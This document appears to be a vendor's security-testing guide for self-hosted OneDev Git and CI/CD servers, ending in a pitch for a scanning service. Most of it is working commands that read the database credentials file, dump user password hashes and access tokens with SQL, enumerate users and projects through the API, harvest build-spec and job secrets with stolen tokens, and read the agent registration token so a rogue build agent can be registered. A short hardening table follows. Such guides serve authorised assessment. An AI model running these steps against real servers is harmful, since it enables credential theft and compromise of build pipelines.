OneDev Security Testing: Default Credentials, API Token, Database, and Git/CI-CD

OneDev is a self-hosted Git and CI/CD platform that combines source code management with build automation in a single application. Key assessment areas: database.properties exposes the H2 or MySQL database password containing all platform data; the root account password is shown once at startup and is frequently stored insecurely; the REST API uses access tokens that grant full repository and pipeline access; and build job YAML definitions in repositories frequently contain hardcoded secrets, cloud credentials, and SSH keys used in deployment scripts. This guide covers systematic OneDev security assessment.

Table of Contents

  1. database.properties H2/MySQL Credential Extraction
  2. REST API Token Enumeration and Repository Access
  3. Build Job Secret and CI/CD Pipeline Credential Extraction
  4. OneDev Security Hardening

database.properties H2/MySQL Credential Extraction

# OneDev — database.properties credential extraction
ONEDEV_URL="https://git.example.com"

# database.properties — OneDev database configuration
cat /opt/onedev/conf/database.properties 2>/dev/null
# For H2 (embedded, default):
# hibernate.connection.url=jdbc:h2:/opt/onedev/site/db;...
# hibernate.connection.username=sa
# hibernate.connection.password=

# For MySQL:
# hibernate.connection.url=jdbc:mysql://localhost/onedev
# hibernate.connection.username=onedev
# hibernate.connection.password=...   <-- MySQL password

python3 -c "
content = open('/opt/onedev/conf/database.properties').read()
for line in content.splitlines():
    if 'password' in line.lower() or 'url' in line.lower():
        print(line.strip())
" 2>/dev/null

# H2 database direct access — OneDev uses H2 by default
# H2 database file is at /opt/onedev/site/db.mv.db
# Access H2 via its web console or jdbc if exposed
ls -la /opt/onedev/site/*.mv.db 2>/dev/null

# Unauthenticated server information disclosure
curl -s "${ONEDEV_URL}/~api/server-information" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Version: {d.get(\"version\")}')
    print(f'Server: {d.get(\"serverUrl\")}')
except: pass
" 2>/dev/null

REST API Token Enumeration and Repository Access

# OneDev REST API — access token enumeration and repository access
ONEDEV_URL="https://git.example.com"

# OneDev REST API uses Bearer token authentication
# Tokens are created per-user in Settings > Access Tokens
# Tokens from database provide full access at the user's permission level

# List all users (unauthenticated in some versions)
curl -s "${ONEDEV_URL}/~api/users" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'Total users: {len(d)}')
    for u in d[:10]:
        print(f'  ID:{u.get(\"id\")} {u.get(\"name\")} ({u.get(\"email\")})')
except: pass
" 2>/dev/null

# With extracted access token — full repository enumeration
TOKEN="extracted-access-token"

# List all projects
curl -s "${ONEDEV_URL}/~api/projects" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for p in d[:10]:
        print(f'  {p.get(\"name\")}: {p.get(\"description\",\"\")[:50]}')
        print(f'    Path: {p.get(\"path\")}')
except: pass
" 2>/dev/null

# Clone any repository using access token
# git clone http://api:TOKEN@git.example.com/project-name

# Access build job definitions (contain secrets)
curl -s "${ONEDEV_URL}/~api/projects/1/builds" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | head -20

# List all access tokens in database (H2 or MySQL)
# H2: connect to database and query User table
# MySQL:
DB_PASS="extracted-mysql-password"
mysql -u onedev -p"${DB_PASS}" onedev 2>/dev/null << 'EOF'
-- User accounts with bcrypt password hashes
SELECT u.id, u.name, u.email, u.password_hash
FROM _User u
WHERE u.id > 0
ORDER BY u.id;

-- Access tokens per user
SELECT t.id, t.user_id, t.value, t.description
FROM AccessToken t
LIMIT 20;
EOF

Build Job Secret and CI/CD Pipeline Credential Extraction

# OneDev — build job secret and CI/CD pipeline credential extraction
ONEDEV_URL="https://git.example.com"
TOKEN="extracted-access-token"

# OneDev build jobs are defined in .onedev-buildspec.yml in each repository
# These YAML files frequently contain hardcoded secrets in script steps

# Access .onedev-buildspec.yml via API (raw file content)
# List all repositories and check their build specs
for PROJECT_ID in 1 2 3 4 5; do
  BUILDSPEC=$(curl -s \
    "${ONEDEV_URL}/~api/projects/${PROJECT_ID}/contents?path=.onedev-buildspec.yml&revision=main" \
    -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | \
    python3 -c "import json,sys,base64; d=json.load(sys.stdin); print(base64.b64decode(d.get('base64Content','')).decode('utf-8','ignore'))" 2>/dev/null)

  if [ -n "$BUILDSPEC" ]; then
    echo "=== Project ${PROJECT_ID} .onedev-buildspec.yml ==="
    # Search for embedded credentials
    echo "$BUILDSPEC" | grep -iE "password|secret|key|token|aws_|api_key" | head -10
  fi
done

# OneDev job secrets are stored in the project settings
# Extract via API: /~api/projects/{id}/job-secrets
curl -s "${ONEDEV_URL}/~api/projects/1/job-secrets" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    for s in d:
        print(f'  Secret: {s.get(\"name\")} = {s.get(\"value\",\"[hidden]\")}')
except: pass
" 2>/dev/null

# Agent registration token extraction
# Build agents authenticate with a registration token stored in the database
cat /opt/onedev/site/agent-token 2>/dev/null
# If this token is compromised, an attacker can register a malicious build agent
# that receives and executes build jobs in the context of the CI/CD pipeline

OneDev Security Hardening

OneDev Security Hardening Checklist:
Security TestMethodRisk
database.properties H2/MySQL password extractionRead /opt/onedev/conf/database.properties — database credentials; H2 db.mv.db file contains all users, access tokens, and build historyCritical
H2 database file direct accessRead /opt/onedev/site/db.mv.db — complete OneDev database; all users, bcrypt hashes, access tokens, project data, job secretsCritical
Access token extraction from databaseMySQL/H2 SELECT value FROM AccessToken — all user access tokens enabling full repository clone, API access, build triggerHigh
Build job YAML hardcoded secret extractionGET /~api/projects/{id}/contents?path=.onedev-buildspec.yml — AWS keys, Docker passwords, SSH keys, K8s tokens in build scriptsHigh
Agent registration token extractionRead /opt/onedev/site/agent-token — register malicious build agent; receive and intercept production CI/CD job executionHigh

Automate OneDev Security Testing

Ironimo tests OneDev deployments for database.properties H2/MySQL password extraction, H2 db.mv.db file direct access assessment, access token extraction from AccessToken table, root account password brute-force, /~api/server-information unauthenticated version disclosure, .onedev-buildspec.yml hardcoded secret scanning across all repositories, job secret API extraction, agent registration token file access, user enumeration via /~api/users, and repository clone access via extracted tokens across all projects.

Start free scan